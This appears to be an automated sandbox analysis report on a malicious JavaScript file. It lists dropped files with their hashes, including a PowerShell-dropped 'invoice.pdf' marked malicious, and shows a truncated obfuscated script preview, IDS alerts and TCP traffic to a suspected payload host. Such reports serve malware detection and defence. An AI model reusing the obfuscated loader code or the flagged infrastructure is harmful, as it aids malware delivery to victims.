Preview:	SessionID=64074ac3-ab81-4206-b647-80d6b4134928.1736548476901 Timestamp=2025-01-10T17:34:36:901-0500 ThreadID=7924 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=64074ac3-ab81-4206-b647-80d6b4134928.1736548476901 Timestamp=2025-01-10T17:34:36:913-0500 ThreadID=7924 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=64074ac3-ab81-4206-b647-80d6b4134928.1736548476901 Timestamp=2025-01-10T17:34:36:913-0500 ThreadID=7924 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=64074ac3-ab81-4206-b647-80d6b4134928.1736548476901 Timestamp=2025-01-10T17:34:36:913-0500 ThreadID=7924 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=64074ac3-ab81-4206-b647-80d6b4134928.1736548476901 Timestamp=2025-01-10T17:34:36:913-0500 ThreadID=7924 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390817963434475
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rD:C+
MD5:	6FC4C22E91C3C437A34BAA8D19FFCA4F
SHA1:	1A9B5A6611CDD2BB19AC2FFA3D4F26234EF15546
SHA-256:	0A8244D9FE3ADFA51E5C591C8748F0FE5F5DA987ABF41C85099A171BCFBC23D0
SHA-512:	F21F7AE386312229103512330DAB56985DB7C99839875735D2A25A98E71E5166BD980C7BD4EF1C8FCE86C17FA6C087CE271A58E69492F10236BA56DF30C647DE
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1ea50074-e072-42e6-a37c-744aec4eb12e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\237c8914-2ac7-4b33-a418-3637ff1d46c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\52b82736-105b-4197-a1bf-aa55971c1b24.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\af40edf9-4ef6-44e2-9209-fa979e1e9a62.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16201), with CRLF line terminators
Entropy (8bit):	4.919364193534289
TrID:
File name:	26448249042746730897.js
File size:	19'668 bytes
MD5:	975530352e02f2a8a74441d9a3888d08
SHA1:	a94a405ab0c7af9c112dbc061a3d182d463d57ba
SHA256:	a8a4965609f7745548d6edf103b0e90d6b1074178ee77501e509cd44fbb9a7aa
SHA512:	fa51bb2455e58b459894bd2b61b2a31d021ce7111816e199ac63bc9191be1db134c01e755328e81a987fa3efec900d868627a8198121a95f7fb1b474ee3bbeb5
SSDEEP:	192:l8g6YUBgwa2Hgn9oL7yK4797QK1++NqrhScRkytkoO+OZ5eXFfdda9OcQvkrm0Ll:+mUHTzIZf1AFScL5o3aeXzti+6a
TLSH:	EA9288C0BD2FC7E3C7D4897069C9FEAB29BA0688FB14D12947044C459250ADAD5FB6F8
File Content Preview:	function clzqj(){qmhil=[1031,3079,5127,4103,2055,3072];var fuekwaau=this[qygdu+iyjhu+mcbhkgblp+tlbkqute+ldmqwkerf+coqtwgju+mvdiicqt+apanxz](this[xisqb+vpzlqax+nzbljj+mcbhkgblp+fllpgo+qygdu+apanxz][pyaxlrr+mcbhkgblp+ldmqwkerf+iyjhu+apanxz+ldmqwkerf+yyaou+b

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:34:32.486301+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T23:34:35.511897+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:34:31.674556017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:31.679662943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:31.679761887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:31.684237003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:31.689094067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486151934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486217976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486258030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486291885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486300945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.486340046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486341000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.486372948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486408949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486421108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.486445904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486480951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486489058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.486519098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.486558914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.491379023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.543143988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.550653934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.550694942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.550733089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.550770998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.605612993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.610923052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.610968113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.611023903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.611027002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.611061096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.611113071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.616012096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.616065025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.616101027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.616118908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.616133928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.616177082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.620820999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.620858908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.620893955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.620909929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.620928049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.620963097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.620973110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.625664949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.625700951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.625734091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.625741005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.625767946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.625783920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.625799894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.625843048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.630420923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.630456924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.630489111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.630510092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.637412071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.637443066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.637476921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.637499094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.637553930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.637557030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.683739901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.721890926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.721945047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.721982956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.722026110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.735585928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.735620022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.735677958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.735712051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.735730886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.735765934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.735778093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.735800028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.735820055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.735835075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736498117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.736656904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736748934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736808062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.736809015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736845016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736881971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736915112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736932039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.736953974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.736970901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.737574100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.737627029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.737658024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.737668037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.737703085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.737736940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.737736940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.737792969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:32.738429070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.738441944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.738464117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.738475084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:32.738476038 CET	49730	80	192.168.2.4	193.143.1.205
